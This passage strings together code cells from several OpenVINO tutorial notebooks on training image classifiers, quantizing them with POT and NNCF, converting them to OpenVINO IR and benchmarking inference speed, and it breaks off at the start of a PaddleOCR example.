  layers.MaxPooling2D(),
  layers.Conv2D(64, 3, padding='same', activation='relu'),
  layers.MaxPooling2D(),
  layers.Flatten(),
  layers.Dense(128, activation='relu'),
  layers.Dense(num_classes)
])

# Compile the Model
model.compile(optimizer='adam',
              loss=tf.keras.losses.SparseCategoricalCrossentropy(from_logits=True),
              metrics=['accuracy'])
# Preparation
from pathlib import Path

import tensorflow as tf

model_xml = Path("model/flower/flower_ir.xml")
dataset_url = (
    "https://storage.googleapis.com/download.tensorflow.org/example_images/flower_photos.tgz"
)
data_dir = Path(tf.keras.utils.get_file("flower_photos", origin=dataset_url, untar=True))

if not model_xml.exists():
    print("Executing training notebook. This will take a while...")
    %run 301-tensorflow-training-openvino.ipynb

# Imports
import copy
import os
import sys

import cv2
import matplotlib.pyplot as plt
import numpy as np
from addict import Dict
from openvino.tools.pot.api import Metric, DataLoader
from openvino.tools.pot.graph import load_model, save_model
from openvino.tools.pot.graph.model_utils import compress_model_weights
from openvino.tools.pot.engines.ie_engine import IEEngine
from openvino.tools.pot.pipeline.initializer import create_pipeline
from openvino.runtime import Core
from PIL import Image

sys.path.append("../utils")
from notebook_utils import benchmark_model, download_file

# Settings
model_config = Dict(
    {
        "model_name": "flower",
        "model": "model/flower/flower_ir.xml",
        "weights": "model/flower/flower_ir.bin",
    }
)

engine_config = Dict({"device": "CPU", "stat_requests_number": 2, "eval_requests_number": 2})

algorithms = [
    {
        "name": "DefaultQuantization",
        "params": {
            "target_device": "CPU",
            "preset": "performance",
            "stat_subset_size": 1000,
        },
    }
]

# Create DataLoader Class
class ClassificationDataLoader(DataLoader):
    """
    DataLoader for image data that is stored in a directory per category. For example, for
    categories _rose_ and _daisy_, rose images are expected in data_source/rose, daisy images
    in data_source/daisy.
    """

    def __init__(self, data_source):
        """
        :param data_source: path to data directory
        """
        self.data_source = Path(data_source)
        self.dataset = [p for p in data_dir.glob("**/*") if p.suffix in (".png", ".jpg")]
        self.class_names = sorted([item.name for item in Path(data_dir).iterdir() if item.is_dir()])

    def __len__(self):
        """
        Returns the number of elements in the dataset
        """
        return len(self.dataset)

    def __getitem__(self, index):
        """
        Get item from self.dataset at the specified index.
        Returns (annotation, image), where annotation is a tuple (index, class_index)
        and image a preprocessed image in network shape
        """
        if index >= len(self):
            raise IndexError
        filepath = self.dataset[index]
        annotation = (index, self.class_names.index(filepath.parent.name))
        image = self._read_image(filepath)
        return annotation, image

    def _read_image(self, index):
        """
        Read image at dataset[index] to memory, resize, convert to BGR and to network shape

        :param index: dataset index to read
        :return ndarray representation of image batch
        """
        image = cv2.imread(os.path.join(self.data_source, index))[:, :, (2, 1, 0)]
        image = cv2.resize(image, (180, 180)).astype(np.float32)
        return image

# Create Accuracy Metric Class
class Accuracy(Metric):
    def __init__(self):
        super().__init__()
        self._name = "accuracy"
        self._matches = []

    @property
    def value(self):
        """Returns accuracy metric value for the last model output."""
        return {self._name: self._matches[-1]}

    @property
    def avg_value(self):
        """
        Returns accuracy metric value for all model outputs. Results per image are stored in
        self._matches, where True means a correct prediction and False a wrong prediction.
        Accuracy is computed as the number of correct predictions divided by the total
        number of predictions.
        """
        num_correct = np.count_nonzero(self._matches)
        return {self._name: num_correct / len(self._matches)}

    def update(self, output, target):
        """Updates prediction matches.

        :param output: model output
        :param target: annotations
        """
        predict = np.argmax(output[0], axis=1)
        match = predict == target
        self._matches.append(match)

    def reset(self):
        """
        Resets the Accuracy metric. This is a required method that should initialize all
        attributes to their initial value.
        """
        self._matches = []

    def get_attributes(self):
        """
        Returns a dictionary of metric attributes {metric_name: {attribute_name: value}}.
        Required attributes: 'direction': 'higher-better' or 'higher-worse'
                             'type': metric type
        """
        return {self._name: {"direction": "higher-better", "type": "accuracy"}}

# POT Optimization
# Step 1: Load the model
model = load_model(model_config=model_config)
original_model = copy.deepcopy(model)

# Step 2: Initialize the data loader
data_loader = ClassificationDataLoader(data_source=data_dir)

# Step 3 (Optional. Required for AccuracyAwareQuantization): Initialize the metric
#        Compute metric results on original model
metric = Accuracy()

# Step 4: Initialize the engine for metric calculation and statistics collection
engine = IEEngine(config=engine_config, data_loader=data_loader, metric=metric)

# Step 5: Create a pipeline of compression algorithms
pipeline = create_pipeline(algo_config=algorithms, engine=engine)

# Step 6: Execute the pipeline
compressed_model = pipeline.run(model=model)

# Step 7 (Optional): Compress model weights quantized precision
#                    in order to reduce the size of final .bin file
compress_model_weights(model=compressed_model)

# Step 8: Save the compressed model and get the path to the model
compressed_model_paths = save_model(
    model=compressed_model, save_path=os.path.join(os.path.curdir, "model/optimized")
)
compressed_model_xml = Path(compressed_model_paths[0]["model"])
print(f"The quantized model is stored in {compressed_model_xml}")

# Step 9 (Optional): Evaluate the original and compressed model. Print the results
original_metric_results = pipeline.evaluate(original_model)
if original_metric_results:
    print(f"Accuracy of the original model:  {next(iter(original_metric_results.values())):.5f}")

quantized_metric_results = pipeline.evaluate(compressed_model)
if quantized_metric_results:
    print(f"Accuracy of the quantized model: {next(iter(quantized_metric_results.values())):.5f}")

# Run Inference on Quantized Model
def pre_process_image(imagePath, img_height=180):
    # Model input format
    n, c, h, w = [1, 3, img_height, img_height]
    image = Image.open(imagePath)
    image = image.resize((h, w), resample=Image.BILINEAR)

    # Convert to array and change data layout from HWC to CHW
    image = np.array(image)

    input_image = image.reshape((n, h, w, c))

    return input_image

# Load the optimized model and get the names of the input and output layer
ie = Core()
model_pot = ie.read_model(model="model/optimized/flower_ir.xml")
compiled_model_pot = ie.compile_model(model=model_pot, device_name="CPU")
input_layer = compiled_model_pot.input(0)
output_layer = compiled_model_pot.output(0)

# Get the class names: a list of directory names in alphabetical order
class_names = sorted([item.name for item in Path(data_dir).iterdir() if item.is_dir()])

# Run inference on an input image...
inp_img_url = (
    "https://upload.wikimedia.org/wikipedia/commons/4/48/A_Close_Up_Photo_of_a_Dandelion.jpg"
)
directory = "output"
inp_file_name = "A_Close_Up_Photo_of_a_Dandelion.jpg"
file_path = Path(directory)/Path(inp_file_name)
# Download the image if it does not exist yet
if not Path(inp_file_name).exists():
    download_file(inp_img_url, inp_file_name, directory=directory)

# Pre-process the image and get it ready for inference.
input_image = pre_process_image(imagePath=file_path)
print(f'input image shape: {input_image.shape}')
print(f'input layer shape: {input_layer.shape}')

res = compiled_model_pot([input_image])[output_layer]

score = tf.nn.softmax(res[0])

# Show the results
image = Image.open(file_path)
plt.imshow(image)
print(
    "This image most likely belongs to {} with a {:.2f} percent confidence.".format(
        class_names[np.argmax(score)], 100 * np.max(score)
    )
)

# Compare Inference Speed
# print the available devices on this system
ie = Core()
print("Device information:")
print(ie.get_property("CPU", "FULL_DEVICE_NAME"))
if "GPU" in ie.available_devices:
    print(ie.get_property("GPU", "FULL_DEVICE_NAME"))

# Original model - CPU
benchmark_model(model_path=model_xml, device="CPU", seconds=15, api='async')

# Quantized model - CPU
benchmark_model(model_path=compressed_model_xml, device="CPU", seconds=15, api='async')

# Original model - MULTI:CPU,GPU
if "GPU" in ie.available_devices:
    benchmark_model(model_path=model_xml, device="MULTI:CPU,GPU", seconds=15, api='async')
else:
    print("A supported integrated GPU is not available on this system.")

# Quantized model - MULTI:CPU,GPU
if "GPU" in ie.available_devices:
    benchmark_model(model_path=compressed_model_xml, device="MULTI:CPU,GPU", seconds=15, api='async')
else:
    print("A supported integrated GPU is not available on this system.")

# print the available devices on this system
print("Device information:")
print(ie.get_property("CPU", "FULL_DEVICE_NAME"))
if "GPU" in ie.available_devices:
    print(ie.get_property("GPU", "FULL_DEVICE_NAME"))

# Original IR model - CPU
benchmark_output = %sx benchmark_app -m $model_xml -t 15 -api async
# Remove logging info from benchmark_app output and show only the results
benchmark_result = [line for line in benchmark_output if not (line.startswith(r"[") or line.startswith("  ") or line=="")]
print("\n".join(benchmark_result))

# Quantized IR model - CPU
benchmark_output = %sx benchmark_app -m $compressed_model_xml -t 15 -api async
# Remove logging info from benchmark_app output and show only the results
benchmark_result = [line for line in benchmark_output if not (line.startswith(r"[") or line.startswith("  ") or line=="")]
print("\n".join(benchmark_result))

# Original IR model - MULTI:CPU,GPU
ie = Core()
if "GPU" in ie.available_devices:
    benchmark_output = %sx benchmark_app -m $model_xml -d MULTI:CPU,GPU -t 15 -api async
    # Remove logging info from benchmark_app output and show only the results
    benchmark_result = [line for line in benchmark_output if not (line.startswith(r"[") or line.startswith("  ") or line=="")]
    print("\n".join(benchmark_result))
else:
    print("An integrated GPU is not available on this system.")

# Quantized IR model - MULTI:CPU,GPU
ie = Core()
if "GPU" in ie.available_devices:
    benchmark_output = %sx benchmark_app -m $compressed_model_xml -d MULTI:CPU,GPU -t 15 -api async
    # Remove logging info from benchmark_app output and show only the results
    benchmark_result = [line for line in benchmark_output if not (line.startswith(r"[") or line.startswith("  ") or line=="")]
    print("\n".join(benchmark_result))
else:
    print("An integrated GPU is not available on this system.")
# Imports and Settings
# On Windows, add the directory that contains cl.exe to the PATH to enable PyTorch to find the
# required C++ tools. This code assumes that Visual Studio 2019 is installed in the default
# directory. If you have a different C++ compiler, please add the correct path to os.environ["PATH"]
# directly. Note that the C++ Redistributable is not enough to run this notebook.

# Adding the path to os.environ["LIB"] is not always required - it depends on the system's configuration

import sys

if sys.platform == "win32":
    import distutils.command.build_ext
    import os
    from pathlib import Path

    VS_INSTALL_DIR = r"C:/Program Files (x86)/Microsoft Visual Studio"
    cl_paths = sorted(list(Path(VS_INSTALL_DIR).glob("**/Hostx86/x64/cl.exe")))
    if len(cl_paths) == 0:
        raise ValueError(
            "Cannot find Visual Studio. This notebook requires a C++ compiler. If you installed "
            "a C++ compiler, please add the directory that contains cl.exe to `os.environ['PATH']`."
        )
    else:
        # If multiple versions of MSVC are installed, get the most recent version
        cl_path = cl_paths[-1]
        vs_dir = str(cl_path.parent)
        os.environ["PATH"] += f"{os.pathsep}{vs_dir}"
        # Code for finding the library dirs from
        # https://stackoverflow.com/questions/47423246/get-pythons-lib-path
        d = distutils.core.Distribution()
        b = distutils.command.build_ext.build_ext(d)
        b.finalize_options()
        os.environ["LIB"] = os.pathsep.join(b.library_dirs)
        print(f"Added {vs_dir} to PATH")

import sys
import time
import warnings  # to disable warnings on export to ONNX
import zipfile
from pathlib import Path
import logging

import torch
import nncf  # Important - should be imported directly after torch

import torch.nn as nn
import torch.nn.parallel
import torch.optim
import torch.utils.data
import torch.utils.data.distributed
import torchvision.datasets as datasets
import torchvision.models as models
import torchvision.transforms as transforms

from nncf.common.utils.logger import set_log_level
set_log_level(logging.ERROR)  # Disables all NNCF info and warning messages
from nncf import NNCFConfig
from nncf.torch import create_compressed_model, register_default_init_args
from openvino.runtime import Core
from torch.jit import TracerWarning

sys.path.append("../utils")
from notebook_utils import download_file

torch.manual_seed(0)
device = torch.device("cuda" if torch.cuda.is_available() else "cpu")
print(f"Using {device} device")

MODEL_DIR = Path("model")
OUTPUT_DIR = Path("output")
DATA_DIR = Path("data")
BASE_MODEL_NAME = "resnet18"
image_size = 64

OUTPUT_DIR.mkdir(exist_ok=True)
MODEL_DIR.mkdir(exist_ok=True)
DATA_DIR.mkdir(exist_ok=True)

# Paths where PyTorch, ONNX and OpenVINO IR models will be stored
fp32_pth_path = Path(MODEL_DIR / (BASE_MODEL_NAME + "_fp32")).with_suffix(".pth")
fp32_onnx_path = Path(OUTPUT_DIR / (BASE_MODEL_NAME + "_fp32")).with_suffix(".onnx")
fp32_ir_path = fp32_onnx_path.with_suffix(".xml")
int8_onnx_path = Path(OUTPUT_DIR / (BASE_MODEL_NAME + "_int8")).with_suffix(".onnx")
int8_ir_path = int8_onnx_path.with_suffix(".xml")

# It's possible to train FP32 model from scratch, but it might be slow. So the pre-trained weights are downloaded by default.
pretrained_on_tiny_imagenet = True
fp32_pth_url = "https://storage.openvinotoolkit.org/repositories/nncf/openvino_notebook_ckpts/302_resnet18_fp32_v1.pth"
download_file(fp32_pth_url, directory=MODEL_DIR, filename=fp32_pth_path.name)

# Download Tiny ImageNet dataset
def download_tiny_imagenet_200(
    data_dir: Path,
    url="http://cs231n.stanford.edu/tiny-imagenet-200.zip",
    tarname="tiny-imagenet-200.zip",
):
    archive_path = data_dir / tarname
    download_file(url, directory=data_dir, filename=tarname)
    zip_ref = zipfile.ZipFile(archive_path, "r")
    zip_ref.extractall(path=data_dir)
    zip_ref.close()

def prepare_tiny_imagenet_200(dataset_dir: Path):
    # format validation set the same way as train set is formatted
    val_data_dir = dataset_dir / 'val'
    val_annotations_file = val_data_dir / 'val_annotations.txt'
    with open(val_annotations_file, 'r') as f:
        val_annotation_data = map(lambda line: line.split('\t')[:2], f.readlines())
    val_images_dir = val_data_dir / 'images'
    for image_filename, image_label in val_annotation_data:
        from_image_filepath = val_images_dir / image_filename
        to_image_dir = val_data_dir / image_label
        if not to_image_dir.exists():
            to_image_dir.mkdir()
        to_image_filepath = to_image_dir / image_filename
        from_image_filepath.rename(to_image_filepath)
    val_annotations_file.unlink()
    val_images_dir.rmdir()
    

DATASET_DIR = DATA_DIR / "tiny-imagenet-200"
if not DATASET_DIR.exists():
    download_tiny_imagenet_200(DATA_DIR)
    prepare_tiny_imagenet_200(DATASET_DIR)
    print(f"Successfully downloaded and prepared dataset at: {DATASET_DIR}")

# Pre-train Floating-Point Model
# Train Function
def train(train_loader, model, criterion, optimizer, epoch):
    batch_time = AverageMeter("Time", ":3.3f")
    losses = AverageMeter("Loss", ":2.3f")
    top1 = AverageMeter("Acc@1", ":2.2f")
    top5 = AverageMeter("Acc@5", ":2.2f")
    progress = ProgressMeter(
        len(train_loader), [batch_time, losses, top1, top5], prefix="Epoch:[{}]".format(epoch)
    )

    # switch to train mode
    model.train()

    end = time.time()
    for i, (images, target) in enumerate(train_loader):
        images = images.to(device)
        target = target.to(device)

        # compute output
        output = model(images)
        loss = criterion(output, target)

        # measure accuracy and record loss
        acc1, acc5 = accuracy(output, target, topk=(1, 5))
        losses.update(loss.item(), images.size(0))
        top1.update(acc1[0], images.size(0))
        top5.update(acc5[0], images.size(0))

        # compute gradient and do opt step
        optimizer.zero_grad()
        loss.backward()
        optimizer.step()

        # measure elapsed time
        batch_time.update(time.time() - end)
        end = time.time()

        print_frequency = 50
        if i % print_frequency == 0:
            progress.display(i)

# Validate Function
def validate(val_loader, model, criterion):
    batch_time = AverageMeter("Time", ":3.3f")
    losses = AverageMeter("Loss", ":2.3f")
    top1 = AverageMeter("Acc@1", ":2.2f")
    top5 = AverageMeter("Acc@5", ":2.2f")
    progress = ProgressMeter(len(val_loader), [batch_time, losses, top1, top5], prefix="Test: ")

    # switch to evaluate mode
    model.eval()

    with torch.no_grad():
        end = time.time()
        for i, (images, target) in enumerate(val_loader):
            images = images.to(device)
            target = target.to(device)

            # compute output
            output = model(images)
            loss = criterion(output, target)

            # measure accuracy and record loss
            acc1, acc5 = accuracy(output, target, topk=(1, 5))
            losses.update(loss.item(), images.size(0))
            top1.update(acc1[0], images.size(0))
            top5.update(acc5[0], images.size(0))

            # measure elapsed time
            batch_time.update(time.time() - end)
            end = time.time()

            print_frequency = 10
            if i % print_frequency == 0:
                progress.display(i)

        print(" * Acc@1 {top1.avg:.3f} Acc@5 {top5.avg:.3f}".format(top1=top1, top5=top5))
    return top1.avg

# Helpers
class AverageMeter(object):
    """Computes and stores the average and current value"""

    def __init__(self, name, fmt=":f"):
        self.name = name
        self.fmt = fmt
        self.reset()

    def reset(self):
        self.val = 0
        self.avg = 0
        self.sum = 0
        self.count = 0

    def update(self, val, n=1):
        self.val = val
        self.sum += val * n
        self.count += n
        self.avg = self.sum / self.count

    def __str__(self):
        fmtstr = "{name} {val" + self.fmt + "} ({avg" + self.fmt + "})"
        return fmtstr.format(**self.__dict__)


class ProgressMeter(object):
    def __init__(self, num_batches, meters, prefix=""):
        self.batch_fmtstr = self._get_batch_fmtstr(num_batches)
        self.meters = meters
        self.prefix = prefix

    def display(self, batch):
        entries = [self.prefix + self.batch_fmtstr.format(batch)]
        entries += [str(meter) for meter in self.meters]
        print("\t".join(entries))

    def _get_batch_fmtstr(self, num_batches):
        num_digits = len(str(num_batches // 1))
        fmt = "{:" + str(num_digits) + "d}"
        return "[" + fmt + "/" + fmt.format(num_batches) + "]"


def accuracy(output, target, topk=(1,)):
    """Computes the accuracy over the k top predictions for the specified values of k"""
    with torch.no_grad():
        maxk = max(topk)
        batch_size = target.size(0)

        _, pred = output.topk(maxk, 1, True, True)
        pred = pred.t()
        correct = pred.eq(target.view(1, -1).expand_as(pred))

        res = []
        for k in topk:
            correct_k = correct[:k].reshape(-1).float().sum(0, keepdim=True)
            res.append(correct_k.mul_(100.0 / batch_size))
        return res

# Get a Pre-trained FP32 Model
num_classes = 200  # 200 is for Tiny ImageNet, default is 1000 for ImageNet
init_lr = 1e-4
batch_size = 128
epochs = 4

model = models.resnet18(pretrained=not pretrained_on_tiny_imagenet)
# update the last FC layer for Tiny ImageNet number of classes
model.fc = nn.Linear(in_features=512, out_features=num_classes, bias=True)
model.to(device)

# Data loading code
train_dir = DATASET_DIR / "train"
val_dir = DATASET_DIR / "val"
normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])

train_dataset = datasets.ImageFolder(
    train_dir,
    transforms.Compose(
        [
            transforms.Resize(image_size),
            transforms.RandomHorizontalFlip(),
            transforms.ToTensor(),
            normalize,
        ]
    ),
)
val_dataset = datasets.ImageFolder(
    val_dir,
    transforms.Compose(
        [
            transforms.Resize(image_size),
            transforms.ToTensor(),
            normalize,
        ]
    ),
)

train_loader = torch.utils.data.DataLoader(
    train_dataset, batch_size=batch_size, shuffle=True, num_workers=4, pin_memory=True, sampler=None
)

val_loader = torch.utils.data.DataLoader(
    val_dataset, batch_size=batch_size, shuffle=False, num_workers=4, pin_memory=True
)

# define loss function (criterion) and optimizer
criterion = nn.CrossEntropyLoss().to(device)
optimizer = torch.optim.Adam(model.parameters(), lr=init_lr)

if pretrained_on_tiny_imagenet:
    #
    # ** WARNING: torch.load functionality uses Python's pickling module that
    # may be used to perform arbitrary code execution during unpickling. Only load data that you
    # trust.
    #
    checkpoint = torch.load(str(fp32_pth_path), map_location="cpu")
    model.load_state_dict(checkpoint["state_dict"], strict=True)
    acc1_fp32 = checkpoint["acc1"]
else:
    best_acc1 = 0
    # Training loop
    for epoch in range(0, epochs):
        # run a single training epoch
        train(train_loader, model, criterion, optimizer, epoch)

        # evaluate on validation set
        acc1 = validate(val_loader, model, criterion)

        is_best = acc1 > best_acc1
        best_acc1 = max(acc1, best_acc1)

        if is_best:
            checkpoint = {"state_dict": model.state_dict(), "acc1": acc1}
            torch.save(checkpoint, fp32_pth_path)
    acc1_fp32 = best_acc1
    
print(f"Accuracy of FP32 model: {acc1_fp32:.3f}")

dummy_input = torch.randn(1, 3, image_size, image_size).to(device)

torch.onnx.export(model, dummy_input, fp32_onnx_path)
print(f"FP32 ONNX model was exported to {fp32_onnx_path}.")

# Create and Initialize Quantization
nncf_config_dict = {
    "input_info": {"sample_size": [1, 3, image_size, image_size]},
    "log_dir": str(OUTPUT_DIR),  # log directory for NNCF-specific logging outputs
    "compression": {
        "algorithm": "quantization",  # specify the algorithm here
    },
}
nncf_config = NNCFConfig.from_dict(nncf_config_dict)

nncf_config = register_default_init_args(nncf_config, train_loader)
compression_ctrl, model = create_compressed_model(model, nncf_config)
acc1 = validate(val_loader, model, criterion)
print(f"Accuracy of initialized INT8 model: {acc1:.3f}")

# Fine-tune the Compressed Model
compression_lr = init_lr / 10
optimizer = torch.optim.Adam(model.parameters(), lr=compression_lr)

# train for one epoch with NNCF
train(train_loader, model, criterion, optimizer, epoch=0)

# evaluate on validation set after Quantization-Aware Training (QAT case)
acc1_int8 = validate(val_loader, model, criterion)

print(f"Accuracy of tuned INT8 model: {acc1_int8:.3f}")
print(f"Accuracy drop of tuned INT8 model over pre-trained FP32 model: {acc1_fp32 - acc1_int8:.3f}")

# Export INT8 Model to ONNX
if not int8_onnx_path.exists():
    warnings.filterwarnings("ignore", category=TracerWarning)
    warnings.filterwarnings("ignore", category=UserWarning)
    # Export INT8 model to ONNX that is supported by the OpenVINO™ toolkit
    compression_ctrl.export_model(int8_onnx_path)
    print(f"INT8 ONNX model exported to {int8_onnx_path}.")

# Convert ONNX models to OpenVINO Intermediate Representation (IR)
if not fp32_ir_path.exists():
    !mo --input_model $fp32_onnx_path --input_shape "[1,3, $image_size, $image_size]" --mean_values "[123.675, 116.28 , 103.53]" --scale_values "[58.395, 57.12 , 57.375]" --data_type FP16 --output_dir $OUTPUT_DIR

if not int8_ir_path.exists():
    !mo --input_model $int8_onnx_path --input_shape "[1,3, $image_size, $image_size]" --mean_values "[123.675, 116.28 , 103.53]" --scale_values "[58.395, 57.12 , 57.375]" --data_type FP16 --output_dir $OUTPUT_DIR

# Benchmark Model Performance by Computing Inference Time
def parse_benchmark_output(benchmark_output):
    parsed_output = [line for line in benchmark_output if not (line.startswith(r"[") or line.startswith("  ") or line == "")]
    print(*parsed_output, sep='\n')


print('Benchmark FP32 model (IR)')
benchmark_output = ! benchmark_app -m $fp32_ir_path -d CPU -api async -t 15
parse_benchmark_output(benchmark_output)

print('Benchmark INT8 model (IR)')
benchmark_output = ! benchmark_app -m $int8_ir_path -d CPU -api async -t 15
parse_benchmark_output(benchmark_output)

# Show CPU Information for reference
ie = Core()
ie.get_property(device_name="CPU", name="FULL_DEVICE_NAME")
# Imports and Settings
from pathlib import Path
import logging

import tensorflow as tf
import tensorflow_datasets as tfds
from tensorflow.python.keras import layers
from tensorflow.python.keras import models

from nncf import NNCFConfig
from nncf.tensorflow.helpers.model_creation import create_compressed_model
from nncf.tensorflow.initialization import register_default_init_args
from nncf.common.utils.logger import set_log_level

set_log_level(logging.ERROR)

MODEL_DIR = Path("model")
OUTPUT_DIR = Path("output")
MODEL_DIR.mkdir(exist_ok=True)
OUTPUT_DIR.mkdir(exist_ok=True)

BASE_MODEL_NAME = "ResNet-18"

fp32_h5_path = Path(MODEL_DIR / (BASE_MODEL_NAME + "_fp32")).with_suffix(".h5")
fp32_sm_path = Path(OUTPUT_DIR / (BASE_MODEL_NAME + "_fp32"))
fp32_ir_path = Path(OUTPUT_DIR / "saved_model").with_suffix(".xml")
int8_pb_path = Path(OUTPUT_DIR / (BASE_MODEL_NAME + "_int8")).with_suffix(".pb")
int8_pb_name = Path(BASE_MODEL_NAME + "_int8").with_suffix(".pb")
int8_ir_path = int8_pb_path.with_suffix(".xml")

BATCH_SIZE = 128
IMG_SIZE = (64, 64)  # Default Imagenet image size
NUM_CLASSES = 10  # For Imagenette dataset

LR = 1e-5

MEAN_RGB = (0.485 * 255, 0.456 * 255, 0.406 * 255)  # From Imagenet dataset
STDDEV_RGB = (0.229 * 255, 0.224 * 255, 0.225 * 255)  # From Imagenet dataset

fp32_pth_url = "https://storage.openvinotoolkit.org/repositories/nncf/openvino_notebook_ckpts/305_resnet18_imagenette_fp32_v1.h5"
_ = tf.keras.utils.get_file(fp32_h5_path.resolve(), fp32_pth_url)
print(f'Absolute path where the model weights are saved:\n {fp32_h5_path.resolve()}')

# Dataset Preprocessing
datasets, datasets_info = tfds.load('imagenette/160px', shuffle_files=True, as_supervised=True, with_info=True,
                                    read_config=tfds.ReadConfig(shuffle_seed=0))
train_dataset, validation_dataset = datasets['train'], datasets['validation']
fig = tfds.show_examples(train_dataset, datasets_info)

def preprocessing(image, label):
    image = tf.image.resize(image, IMG_SIZE)
    image = image - MEAN_RGB
    image = image / STDDEV_RGB
    label = tf.one_hot(label, NUM_CLASSES)
    return image, label


train_dataset = (train_dataset.map(preprocessing, num_parallel_calls=tf.data.experimental.AUTOTUNE)
                              .batch(BATCH_SIZE)
                              .prefetch(tf.data.experimental.AUTOTUNE))

validation_dataset = (validation_dataset.map(preprocessing, num_parallel_calls=tf.data.experimental.AUTOTUNE)
                                        .batch(BATCH_SIZE)
                                        .prefetch(tf.data.experimental.AUTOTUNE))

# Define a Floating-Point Model
def residual_conv_block(filters, stage, block, strides=(1, 1), cut='pre'):
    def layer(input_tensor):
        x = layers.BatchNormalization(epsilon=2e-5)(input_tensor)
        x = layers.Activation('relu')(x)

        # defining shortcut connection
        if cut == 'pre':
            shortcut = input_tensor
        elif cut == 'post':
            shortcut = layers.Conv2D(filters, (1, 1), strides=strides, kernel_initializer='he_uniform', 
                                     use_bias=False)(x)

        # continue with convolution layers
        x = layers.ZeroPadding2D(padding=(1, 1))(x)
        x = layers.Conv2D(filters, (3, 3), strides=strides, kernel_initializer='he_uniform', use_bias=False)(x)

        x = layers.BatchNormalization(epsilon=2e-5)(x)
        x = layers.Activation('relu')(x)
        x = layers.ZeroPadding2D(padding=(1, 1))(x)
        x = layers.Conv2D(filters, (3, 3), kernel_initializer='he_uniform', use_bias=False)(x)

        # add residual connection
        x = layers.Add()([x, shortcut])
        return x

    return layer


def ResNet18(input_shape=None):
    """Instantiates the ResNet18 architecture."""
    img_input = layers.Input(shape=input_shape, name='data')

    # ResNet18 bottom
    x = layers.BatchNormalization(epsilon=2e-5, scale=False)(img_input)
    x = layers.ZeroPadding2D(padding=(3, 3))(x)
    x = layers.Conv2D(64, (7, 7), strides=(2, 2), kernel_initializer='he_uniform', use_bias=False)(x)
    x = layers.BatchNormalization(epsilon=2e-5)(x)
    x = layers.Activation('relu')(x)
    x = layers.ZeroPadding2D(padding=(1, 1))(x)
    x = layers.MaxPooling2D((3, 3), strides=(2, 2), padding='valid')(x)

    # ResNet18 body
    repetitions = (2, 2, 2, 2)
    for stage, rep in enumerate(repetitions):
        for block in range(rep):
            filters = 64 * (2 ** stage)
            if block == 0 and stage == 0:
                x = residual_conv_block(filters, stage, block, strides=(1, 1), cut='post')(x)
            elif block == 0:
                x = residual_conv_block(filters, stage, block, strides=(2, 2), cut='post')(x)
            else:
                x = residual_conv_block(filters, stage, block, strides=(1, 1), cut='pre')(x)
    x = layers.BatchNormalization(epsilon=2e-5)(x)
    x = layers.Activation('relu')(x)

    # ResNet18 top
    x = layers.GlobalAveragePooling2D()(x)
    x = layers.Dense(NUM_CLASSES)(x)
    x = layers.Activation('softmax')(x)

    # Create model
    model = models.Model(img_input, x)

    return model

IMG_SHAPE = IMG_SIZE + (3,)
model = ResNet18(input_shape=IMG_SHAPE)

# Pre-train Floating-Point Model
# Load the floating-point weights
model.load_weights(fp32_h5_path)

# Compile the floating-point model
model.compile(loss=tf.keras.losses.CategoricalCrossentropy(label_smoothing=0.1),
              metrics=[tf.keras.metrics.CategoricalAccuracy(name='acc@1')])

# Validate the floating-point model
test_loss, acc_fp32 = model.evaluate(validation_dataset,
                                     callbacks=tf.keras.callbacks.ProgbarLogger(stateful_metrics=['acc@1']))
print(f"\nAccuracy of FP32 model: {acc_fp32:.3f}")

model.save(fp32_sm_path)
print(f'Absolute path where the model is saved:\n {fp32_sm_path.resolve()}')

# Create and Initialize Quantization
nncf_config_dict = {
    "input_info": {"sample_size": [1, 3] + list(IMG_SIZE)},
    "log_dir": str(OUTPUT_DIR),  # log directory for NNCF-specific logging outputs
    "compression": {
        "algorithm": "quantization",  # specify the algorithm here
    },
}
nncf_config = NNCFConfig.from_dict(nncf_config_dict)

nncf_config = register_default_init_args(nncf_config=nncf_config,
                                         data_loader=train_dataset,
                                         batch_size=BATCH_SIZE)

compression_ctrl, model = create_compressed_model(model, nncf_config)

# Compile the int8 model
model.compile(optimizer=tf.keras.optimizers.Adam(lr=LR),
              loss=tf.keras.losses.CategoricalCrossentropy(label_smoothing=0.1),
              metrics=[tf.keras.metrics.CategoricalAccuracy(name='acc@1')])

# Validate the int8 model
test_loss, test_acc = model.evaluate(validation_dataset,
                                     callbacks=tf.keras.callbacks.ProgbarLogger(stateful_metrics=['acc@1']))
print(f"\nAccuracy of INT8 model after initialization: {test_acc:.3f}")

# Fine-tune the Compressed Model
# Train the int8 model
model.fit(train_dataset,
          epochs=2)

# Validate the int8 model
test_loss, acc_int8 = model.evaluate(validation_dataset,
                                     callbacks=tf.keras.callbacks.ProgbarLogger(stateful_metrics=['acc@1']))
print(f"\nAccuracy of INT8 model after fine-tuning: {acc_int8:.3f}")
print(f"\nAccuracy drop of tuned INT8 model over pre-trained FP32 model: {acc_fp32 - acc_int8:.3f}")

compression_ctrl.export_model(int8_pb_path, 'frozen_graph')
print(f'Absolute path where the int8 model is saved:\n {int8_pb_path.resolve()}')

# Export Frozen Graph Models to OpenVINO Intermediate Representation (IR)
!mo --framework=tf --input_shape=[1,64,64,3] --input=data --saved_model_dir=$fp32_sm_path --output_dir=$OUTPUT_DIR

!mo --framework=tf --input_shape=[1,64,64,3] --input=Placeholder --input_model=$int8_pb_path --output_dir=$OUTPUT_DIR

# Benchmark Model Performance by Computing Inference Time
def parse_benchmark_output(benchmark_output):
    parsed_output = [line for line in benchmark_output if not (line.startswith(r"[") or line.startswith("  ") or line == "")]
    print(*parsed_output, sep='\n')


print('Benchmark FP32 model (IR)')
benchmark_output = ! benchmark_app -m $fp32_ir_path -d CPU -api async -t 15
parse_benchmark_output(benchmark_output)

print('\nBenchmark INT8 model (IR)')
benchmark_output = ! benchmark_app -m $int8_ir_path -d CPU -api async -t 15
parse_benchmark_output(benchmark_output)

# Show CPU Information for reference
from openvino.runtime import Core

ie = Core()
ie.get_property(device_name='CPU', name="FULL_DEVICE_NAME")
# Imports
import sys
import os
import cv2
import numpy as np
import paddle
import math
import time
import collections
from PIL import Image
from pathlib import Path
import tarfile
import urllib.request

from openvino.runtime import Core
from IPython import display
import copy

sys.path.append("../utils")
import notebook_utils as utils
import pre_post_processing as processing

# Models for PaddleOCR
# Define the function to download text detection and recognition models from PaddleOCR resources

def run_model_download(model_url, model_file_path):
    """
    Download pre-trained models from PaddleOCR resources

    Parameters:
        model_url: url link to pre-trained models
        model_file_path: file path to store the downloaded model
    """
